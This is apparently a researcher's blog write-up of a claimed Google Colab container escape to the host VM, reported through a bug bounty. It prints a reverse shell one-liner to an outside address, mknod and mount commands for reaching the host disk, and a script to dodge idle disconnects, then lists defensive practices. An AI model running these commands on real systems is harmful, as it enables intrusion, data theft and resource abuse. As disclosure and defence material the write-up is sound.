New Vulnerability in Google Colab: Access to Host VMs via Container Escapes

The article discusses a high-risk vulnerability I identified in Google Colab, which starts with accessing the notebook container. This vulnerability poses risk it allows an attacker to escape the container, gain access to the host virtual machine (VM), and compromise all stored data. Notably, the host VM has unlimited resources, including substantial memory capacity (over 100 GB), and even GPU capabilities. It is important to mention that Google requires additional payment from customers for GPU usage, making this vulnerability even more concerning.

The research performed on the boundaries of Google Bughunters

Table of Contents

1. Google Colab Decoded- An Introduction
2. Proof of Concept Video
3. Understanding the Runtime Environment and Containerization Approach
4. So? What is the Problem?
5. Code execution on the container
6. Preventing from Google Colab to Disconnect
7. Breakout into the Host
8. Unrestricted Resource Exploitation and Data Compromise Risks
9. Best practices to help protect your container environment

1. Google Colab Decoded- An Introduction

Google Colab is a platform that enables users to write and execute arbitrary Python code using online documents and access to Google Drive files. It provides a browser-based interface where individuals can freely leverage high computing resources, making it well-suited for tasks like machine learning, data analysis, and more.

1- Using Google Colab for Pytnon developing

Google Colab has a number of noteworthy features, including pre-installed libraries that simplify coding, support for GPUs and TPUs to boost computing power, collaborative editing and sharing features for effective teamwork, and simple access to cloud storage resources.

2. Proof of Concept Video

If you like the video please like and subscribe for more articles.

Twitter- https://twitter.com/ChenShiri73

3. Understanding the Runtime Environment and Containerization Approach

Initially, my curiosity led me to explore the inner workings of Google Colab, particularly in understanding the runtime environment of the application.

During my research, I found that each code section within Google Colab runs within its own isolated container.

This containerization approach ensures that the execution of code is encapsulated and separated from other sections or processes within the application

By running code in containers, Google Colab provides an efficient environment, preventing potential conflicts between different code sections and offering enhanced isolation for computations.

2- Hostname is the default container hostname pattern.

4. So? What is the Problem?

The presence of restrictions or filters is crucial in any Python online integrated development environment (IDE) to mitigate potential risks associated with shell commands, specifically those involving the “OS library.” Without proper restrictions, these commands can be abused and pose security vulnerabilities, allowing unauthorized access, unintended modifications to files, or disruption of system stability

In my exploration, I made an attempt to inject commands into the container of Google Colab. To achieve this, I utilized the Python “os” libraries, which allowed me to execute commands within the confines of the containers.

After I found a way to get commands into the container, it was the time to discover system details.

The following steps were taken in order to get access the “Google Cloud Container”

As you can see the container is running with few commands missing but we still can gather information about the system:

we’re running as root privileges on the container.

3- root user, the container IP

4- The container runs on Docker runtime.

5. Code Execution on the Container

At this point I wanted to have a shell on notebook container.

I ran reverse shell in the container with Ngrok tunneling.

/bin/bash-i >& /dev/tcp/xx.xx.xx.xx/650010>&1

Alternativity, for more stable sessions I created a python script uses SSH

You can find it in my Github:

Link- https://github.com/BlackD0C/GoogleColabExecution/blob/dbf59c556e3fb5211402adaa466fe3de0bf9bc5f/StableSession.py

5- Remote shell to the container

6. Preventing from Google Colab to Disconnect

3. When a user does not interact with Google Colab, the session will eventually be closed.

4. In such a scenario, it is necessary to include two additional commands:

5. Add the code: while True:pass for Infinate

6. Adding a function in the developer console- credit to @ShivamRawat- https://medium.com/@shivamrawat_756/how-to-prevent-google-colab-from-disconnecting-717b88a128c0

function ClickConnect(){var reconnect = document.querySelector(“colab-toolbar-button#connect”)if(reconnect != null){console.log(“working”)reconnect.click()}}const tensorInterval = setInterval(ClickConnect,60000)// Then to stop clicking paste thisclearInterval(tensorInterval)

7. Breakout into the Host

After getting access into the application container, we can leverage the container capabilities to escape to the host and from there to get access to other Google “Collab” data.

I recommend watching the PoC video shows anyone can access the container and exploit the vulnerability to gain access to the host.

I tried to exploit cgroup but i saw that it’s protected.

The container escape vulnerability is based on official high risk CVE -CVE-2022–0185 that allows access to the host file system Reference- https://nvd.nist.gov/vuln/detail/CVE-2022-0185 .

I found a way to access the host, at first i couldn’t mount the host, so I used block special file.

mknod /dev/sda1/ b 8 1

This command creates a block special file named /dev/sda1 in the /dev directory. The mknod command is used to create special files in Linux, and the /dev directory contains device files. In this case, /dev/sda1 represents a block device, possibly a partition on a storage device.

The b indicates that it is a block special file, and 8 and 1 are the major and minor numbers respectively, which identify the specific device driver associated with this file.

mount /dev/sda1/ /host:

This command mounts the filesystem represented by the block device /dev/sda1 onto the /host directory. The mount command is used to attach a filesystem to a directory in the Linux file hierarchy. By specifying the block device (/dev/sda1) and the target directory (/host), the command mounts the filesystem contained in /dev/sda1 onto the /host directory, allowing access to the files and directories within the filesystem.

6- Host Read/Write access

8. Unrestricted Resource Exploitation and Data Compromise Risks

1. The criticality of this vulnerability stems from the unrestricted creation of containers through Google Colab sections, which can be exploited for unauthorized utilization of computing resources like crypto miners, servers, and other computational tasks.

The vulnerability allows attackers, including those with shared or notebook access, to escape the container in which the notebook is running and gain unauthorized access to the host virtual machine. This access grants them full control over the storage of all containers and notebooks. While containers have limited GPU, RAM, and memory resources (especially in trial accounts), the host virtual machine possesses over 100 GB of memory without such constraints. Consequently, this vulnerability presents a significant risk of unauthorized exploitation and compromise of data within the Google Colab.

9. Here are some recommended practices to help protect your container environment:

1. Isolate Containers: Employ proper isolation measures between containers. Utilize container orchestration tools like Kubernetes to enforce network policies, limit communication between containers, and prevent unauthorized access.
2. Apply Resource Limits: Set resource limits for your containers, such as CPU, memory, and disk usage, to prevent resource exhaustion and potential denial-of-service (DoS) attacks. This ensures fair resource allocation and prevents a single container from negatively impacting the overall system.
3. Monitor and Log Activities: Implement container monitoring and logging to detect any suspicious activities or unauthorized access attempts. Collect and analyze container logs to identify potential security incidents or anomalies.
4. Implement AppArmor Profiles: AppArmor is a security framework that enables you to enforce fine-grained access controls and restrict the capabilities of containers. By creating and applying AppArmor profiles to your containers, you can define specific permissions and limit their actions, reducing the attack surface and mitigating potential risks.
5. Drop Default Capabilities: Containers typically inherit a set of default capabilities from the host system, which can introduce unnecessary privileges and increase the potential for exploitation. It is advisable to drop the default capabilities and only allow the specific capabilities required for your application to run effectively. This practice minimizes the privileges available within the container, making it harder for attackers to leverage any potential vulnerabilities.
6. Regularly Audit and Test: Conduct security audits and penetration testing of your container environment to identify vulnerabilities and weaknesses. Regularly review and update security configurations based on audit findings and industry best practices.

If you like the research please like and subscribe for more articles.⬇️

Twitter- https://twitter.com/ChenShiri73